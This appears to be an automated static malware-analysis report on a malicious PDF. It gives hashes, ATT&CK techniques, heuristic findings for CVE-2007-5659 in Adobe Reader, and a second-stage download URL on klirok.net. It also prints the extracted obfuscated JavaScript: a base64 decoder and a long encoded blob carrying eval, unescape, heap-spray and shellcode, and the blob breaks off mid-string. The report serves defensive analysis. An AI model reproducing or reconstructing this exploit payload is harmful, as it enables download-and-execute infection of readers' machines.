Malicious PDF — malware analysis report

Static analysis result for SHA-256 86ba326a5eb49b8c…

MALICIOUS

PDF

3.0 KB First seen: 2015-09-30
MD5: 8700dd2be93c2a572fd21a588d012f40 SHA-1: 3c15b4b04ea93a8adc3c45b87732a033578a7e0d SHA-256: 86ba326a5eb49b8c97db3dc82f78efe823306a9889b74bcf466f1abc390b2ae3
258 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a second-stage payload from the URL http://klirok.net/3/getexe.php?spl=pdf_exp. The embedded JavaScript and the identified exploit cluster strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          output = output + String.fromCharCode(chr1);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://klirok.net/3/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0002_000.js pdf-javascript-stream PDF /JS object 2 at offset 0x67 20465 bytes
SHA-256: 27f80196698303fbfcc9991690d3047c2d321b3ebe8c1d812cfa6b1eaabe63e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("DQogdmFyIHk3TE5Oa1ZLID0gbmV3IEFycmF5KCk7DQogdmFyIEtCMEk5enBTOw0KIHZhciBsYXZlID0gZXZhbDsNCiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTY5JTcxJTMyJTcyJTM2JTc1JTMxJTYyJTI4JTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTJjJTIwJTc2JTRlJTQ1JTY0JTM4JTZhJTc4JTM2JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTc2JTRlJTQ1JTY0JTM4JTZhJTc4JTM2JTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTIwJTJiJTNkJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTIwJTNkJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTc2JTRlJTQ1JTY0JTM4JTZhJTc4JTM2JTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTNiJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTQ0JTM4JTRmJTM0JTM4JTQ0JTU2JTRhJTI4JTQxJTU3JTQxJTMwJTUxJTQyJTZjJTM2JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQxJTU3JTQxJTMwJTUxJTQyJTZjJTM2JTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQzJTc4JTY1JTVhJTM3JTY2JTUxJTRjJTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTY1JTc5JTMwJTRlJTc3JTQ2JTQ5JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTQyJTMyJTQ2JTI1JTc1JTM2JTM5JTM2JTQzJTI1JTc1JTM2JTQ2JTM3JTMyJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTM1JTM2JTQ1JTI1JTc1JTMyJTQ2JTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTMzJTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTQxJTU3JTQxJTMwJTUxJTQyJTZjJTM2JTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQzJTc4JTY1JTVhJTM3JTY2JTUxJTRjJTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTY1JTc5JTMwJTRlJTc3JTQ2JTQ5JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTQyJTMyJTQ2JTI1JTc1JTM2JTM5JTM2JTQzJTI1JTc1JTM2JTQ2JTM3JTMyJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTM1JTM2JTQ1JTI1JTc1JTMyJTQ2JTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTMzJTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTQxJTU3JTQxJTMwJTUxJTQyJTZjJTM2JTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ0JTY1JTc5JTMwJTRlJTc3JTQ2JTQ5JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTQyJTMyJTQ2JTI1JTc1JTM2JTM5JTM2JTQzJTI1JTc1JTM2JTQ2JTM3JTMyJTI1JTc1JTMyJTQ1JTM2JTQyJTI1JTc1JTM2JTM1JTM2JTQ1JTI1JTc1JTMyJTQ2JTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTMzJTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU1JTY0JTRkJTQxJTcxJTcyJTU1JTc1JTIwJTNkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTcwJTY2JTM1JTcwJTcxJTcwJTc1JTcxJTIwJTNkJTIwJTQ0JTY1JTc5JTMwJTRlJTc3JTQ2JTQ5JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc2JTRlJTQ1JTY0JTM4JTZhJTc4JTM2JTIwJTNkJTIwJTU1JTY0JTRkJTQxJTcxJTcyJTU1JTc1JTIwJTJkJTIwJTI4JTcwJTY2JTM1JTcwJTcxJTcwJTc1JTcxJTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTRkJTZmJTQzJTU5JTU